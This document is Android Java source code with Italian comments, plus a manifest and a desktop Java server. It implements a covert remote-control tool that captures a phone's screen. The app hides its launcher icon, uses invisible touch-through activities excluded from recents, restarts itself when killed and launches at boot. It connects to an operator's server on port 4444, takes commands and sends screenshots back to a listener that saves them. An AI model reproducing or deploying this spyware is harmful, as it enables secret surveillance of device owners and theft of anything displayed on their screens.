package com.example.test.test;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.IBinder;
import android.util.Log;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.SocketTimeoutException;
import java.net.UnknownHostException;


public class myService extends Service
{
    Socket socket;
    private String IP = ""; //IP dinamico
    private int port = 4444;
    DataInputStream in;
    DataOutputStream out;
    String comando = null;
    public int connected = 0;

    public void checkConnection()
    {
        ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(Context.CONNECTIVITY_SERVICE);
        if(connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE).getState() == NetworkInfo.State.CONNECTED || connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI).getState() == NetworkInfo.State.CONNECTED)
        {
            connected = 1;
        }
        else
            connected = 0;
    }

    @Override
    public  void  onDestroy()
    {
        Log.e("myTag", "SERVICE DISTRUTTO! Riavvio. . .");
       startService(new Intent(this, myService.class));
        Log.e("myTag", "SERVICE Ri-avviato!");

    }

    @Override
    public void onCreate()
    {
        super.onCreate();
    }

    @Override
    public IBinder onBind(Intent intent)
    {
        return null;
    }

    @Override
    public int onStartCommand(final Intent intent, int flags, int startId)
    {

        new Thread(new Runnable()
        {

            //@Override
            public void run()
            {

                checkConnection();
                while (connected == 1)
                {
                    try
                    {
                        {
                            Socket socket = new Socket();
                            socket.connect(new InetSocketAddress(IP, port), 60000);
                            //socket.setSoTimeout(0); //10000 = 10s  60000 = 60s  300000 = 5min
                            in = new DataInputStream(socket.getInputStream());
                            out = new DataOutputStream(socket.getOutputStream());
                            try
                            {
                                String comando = in.readUTF();

                                if (comando.toLowerCase().equals("wifi")) //Controllo se il device и connesso a wi-fi
                                {
                                    ConnectivityManager connManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
                                    NetworkInfo mWifi = connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI);

                                    if (mWifi.isConnected())
                                    {
                                        out.writeBytes("[+]Dispositivo CONNESSO a WiFi. . . . ");
                                    }
                                    else
                                    {
                                        out.writeBytes("[-]Dispositivo NON-CONNESSO a WiFi. . . . ");
                                    }
                                }

                                if (comando.toLowerCase().equals("start"))
                                {
                                    Intent myIntent = new Intent(getApplicationContext(), Main2Activity.class);
                                    myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                                    startActivity(myIntent);
                                    //socket.close();
                                }
                                else
                                {
                                    out.writeBytes(comando + " SERVICE");
                                    socket.close();
                                }

                            }
                            catch (IOException e1)
                            {
                                e1.printStackTrace();
                            }
                            socket.close();
                        }
                    }
                    catch (SocketTimeoutException e)
                    {
                        checkConnection();
                        Log.e("myTag", "TIME-OUT EXCEPTION!!!!!!!");
                        e.printStackTrace();
                        while (connected == 0)
                        {
                            Log.e("myTag", "Connessione Assente!");
                            checkConnection();
                        }
                        if (connected == 1)
                        {
                            Log.e("myTag", "CONNESSIONE RI-STABILITA!");
                            //run();
                        }
                    }
                    catch (UnknownHostException e)
                    {
                        checkConnection();
                        Log.e("myTag", "UNKNOWN-HOST EXCEPTION!!!!!!!");
                        e.printStackTrace();
                        while (connected == 0)
                        {
                            Log.e("myTag", "Connessione Assente!");
                            checkConnection();
                        }
                        if (connected == 1)
                        {
                            Log.e("myTag", "CONNESSIONE RI-STABILITA!");
                            //run();
                        }
                    }
                    catch (SocketException e)
                    {
                        checkConnection();
                        Log.e("myTag", "ERRORE SCONOSCIUTO!!!!!!!");
                        e.printStackTrace();
                        while (connected == 0)
                        {
                            Log.e("myTag", "Connessione Assente!");
                            checkConnection();
                        }
                        if (connected == 1)
                        {
                            Log.e("myTag", "CONNESSIONE RI-STABILITA!");
                            //run();
                        }
                    }
                    catch (IOException e)
                    {
                        e.printStackTrace();
                    }
                }
            }

        }).start();

        return START_STICKY;
    }
}
////////////////////////////////////////////////////////////
package com.example.test.test;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.media.projection.MediaProjectionManager;
import android.os.Bundle;
import android.app.Activity;

public class MainActivity extends Activity
{
    public int PERMISSION_CODE = 100;

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data)
    {

        if (requestCode == PERMISSION_CODE)
        {
            finishAndRemoveTask();
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);

        //Fa scomparire l'icona dell'app
        PackageManager p = getPackageManager();
        ComponentName componentName = new ComponentName(this, com.example.test.test.MainActivity.class);
        p.setComponentEnabledSetting(componentName,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

        //setContentView(R.layout.activity_main);
        MediaProjectionManager projectionManager = (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
        startActivityForResult(projectionManager.createScreenCaptureIntent(), PERMISSION_CODE);
        Intent intent = new Intent(this,myService.class);
        startService(intent);

    }
}
////////////////////////////////////////////////////////////
package com.example.test.test;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.PixelFormat;
import android.graphics.Point;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
import android.media.Image;
import android.media.ImageReader;
import android.media.projection.MediaProjection;
import android.media.projection.MediaProjectionManager;
import android.os.Bundle;
import android.util.DisplayMetrics;
import android.view.Display;
import android.view.WindowManager;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.nio.ByteBuffer;

public class Main2Activity extends Activity
{
    Socket socket;
    private String IP = "";
    private int port = 4444;
    DataInputStream in;
    DataOutputStream out;
    String comando = null;
    public int PERMISSION_CODE = 100;
    public ImageReader mImageReader;
    public int mWidth;
    public int mHeight;
    public int mDensity;
    public MediaProjection mProjection;
    private static final int VIRTUAL_DISPLAY_FLAGS = DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY | DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
    public Image image;
    public Display mDisplay;
    public VirtualDisplay mVirtualDisplay;


    public void createVirtualDisplay()
    {
        // get width and height
        Point size = new Point();
        mDisplay.getSize(size);
        mWidth = size.x;
        mHeight = size.y;
        // start capture reader
        mImageReader = ImageReader.newInstance(mWidth, mHeight, PixelFormat.RGBA_8888, 2);
        mVirtualDisplay = mProjection.createVirtualDisplay("screen-mirror", mWidth, mHeight, mDensity, VIRTUAL_DISPLAY_FLAGS, mImageReader.getSurface(), null, null);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data)
    {
        if (requestCode == PERMISSION_CODE)
        {
            MediaProjectionManager projectionManager = (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
            mProjection = projectionManager.getMediaProjection(resultCode, data);
            // display metrics
            DisplayMetrics metrics = getResources().getDisplayMetrics();
            mDensity = metrics.densityDpi;
            mDisplay = getWindowManager().getDefaultDisplay();
            createVirtualDisplay();
        }
    }


    @Override
    protected void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        //setContentView(R.layout.activity_main2);

        //rende clickabile lo schermo sotto l'app
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);

        new Thread(new Runnable()
        {
            @Override
            public void run()
            {
                try
                {
                    while(true)
                    {
                        //socket = new Socket(IP, port);
                        socket = new Socket();
                        socket.connect(new InetSocketAddress(IP, port), 6000);
                        in = new DataInputStream(socket.getInputStream());
                        out = new DataOutputStream(socket.getOutputStream());

                        try
                        {

                            MediaProjectionManager projectionManager = (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
                            startActivityForResult(projectionManager.createScreenCaptureIntent(), PERMISSION_CODE);

                            String comando  = in.readUTF();

                            if(comando.toLowerCase().equals("stop"))
                            {
                                mProjection.stop();
                                finishAndRemoveTask();
                            }

                            if (comando.toLowerCase().equals("take"))
                            {
                                mProjection.stop();

                                image = mImageReader.acquireLatestImage();

                                Image.Plane[] planes = image.getPlanes();
                                ByteBuffer buffer = planes[0].getBuffer();
                                int pixelStride = planes[0].getPixelStride();
                                int rowStride = planes[0].getRowStride();
                                int rowPadding = rowStride - pixelStride * mWidth;
                                // create bitmap
                                //File file = new File("/data/data/com.example.test.test/files/screenTest");
                                File file = new File(getFilesDir(),"screenTest");
                                FileOutputStream outputStream = new FileOutputStream(file);

                                Bitmap bmp = Bitmap.createBitmap(mWidth+rowPadding/pixelStride, mHeight, Bitmap.Config.ARGB_8888);

                                bmp.copyPixelsFromBuffer(buffer);
                                bmp.compress(Bitmap.CompressFormat.JPEG, 100, outputStream);
                                image.close();
                                outputStream.close();

                                FileInputStream fis = new FileInputStream(file);
                                byte[] buffer2 = new byte[fis.available()];
                                fis.read(buffer2);

                                ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
                                oos.writeObject(buffer2);
                                oos.close();

                                socket.close();

                                finishAndRemoveTask();
                                break;
                            }
                            else
                            {
                                out.writeBytes(comando + " MAIN-ACTIVITY");
                                socket.close();
                            }

                        }
                        catch (IOException e1)
                        {
                            e1.printStackTrace();
                        }
                        socket.close();

                    }


                }

                catch (IOException e)
                {
                    e.printStackTrace();
                }

            }

        }).start();

    }
}
////////////////////////////////////////////////////////////
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.test.test">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.CAMERA"/>

<application

    android:allowBackup="true"
    android:icon="@mipmap/ic_launcher"
    android:label="@string/app_name"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">
    <activity android:name=".MainActivity" android:theme="@style/Theme.Transparent">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>

    <service
        android:name=".myService"
        android:exported="false" />


    <activity
        android:name=".Main2Activity"
        android:theme="@style/Theme.Transparent"
        android:excludeFromRecents="true">
        <!--rende invisibile il layout dell'app-->
        <!--non mostra l'app nel TASK MANAGER-->
    </activity>

    <receiver
        android:name=".StartMyActivityAtBootReceiver"
        android:enabled="true"
        android:exported="false">
        <intent-filter>
            <action android:name="android.intent.action.BOOT_COMPLETED" />
        </intent-filter>
    </receiver>
</application>



</manifest>
////////////////////////////////////////////////////////////
package com.example.test.test;


import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class StartMyActivityAtBootReceiver extends BroadcastReceiver
{
    @Override
    public void onReceive(Context context, Intent intent)
    {
        Intent myIntent = new Intent(context, myService.class);
        context.startService(myIntent);
    }
}
////////////////////////////////////////////////////////////
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;

public class TestOK
{
    ServerSocket server=null;
    Socket socketClient=null;

    int porta = 4444;

    DataInputStream in;
    DataOutputStream out;
    BufferedReader tastiera;
    String comando = null;
    String letto = null;



    public void comunica()
    {

        try
        {

            do
            {
                socketClient = server.accept();
                System.out.println("[2]Connesso con un client");

                in = new DataInputStream(socketClient.getInputStream());
                out = new DataOutputStream(socketClient.getOutputStream());

                System.out.println("[!]Comando da inviare: ");
                tastiera = new BufferedReader(new InputStreamReader(System.in));
                comando = tastiera.readLine();
                out.writeUTF(comando);
                System.out.println("[!]Comando inviato: " + comando);
                if (comando.toLowerCase().equals("take")) //screenok
                {

                    try
                    {
                        ObjectInputStream ois = new ObjectInputStream(socketClient.getInputStream());
                        byte[] buffer = (byte[]) ois.readObject();
                        FileOutputStream fos = new FileOutputStream("C:\\Users\\Amede\\Desktop\\screenTest.png");
                        fos.write(buffer);
                        fos.close();
                        socketClient.close();

                    }
                    catch(IOException | ClassNotFoundException e)
                    {
                        e.printStackTrace();
                    }

                }
                else
                {
                    letto = in.readLine();
                    System.out.println("[!]Messaggio ricevuto: " + letto );
                    socketClient.close();
                }


            }
            while(!comando.toLowerCase().equals("exit"));
            System.out.println("[!]Chiudo la connessione");
            socketClient.close();
            }

        catch(IOException e)
        {
            e.printStackTrace();

        }

    }

    public Socket attendi()
    {
        try
        {
            System.out.println("[0]Inizializzo Server");
            server = new ServerSocket(porta);
            System.out.println("[1]Server pronto in ascolto sulla porta " + porta);

        }
        catch(IOException e)
        {
            e.printStackTrace();
        }
        return socketClient;

    }

    public static void main(String[] args)
    {
        TestOK s = new TestOK();
        s.attendi();
        s.comunica();

    }

}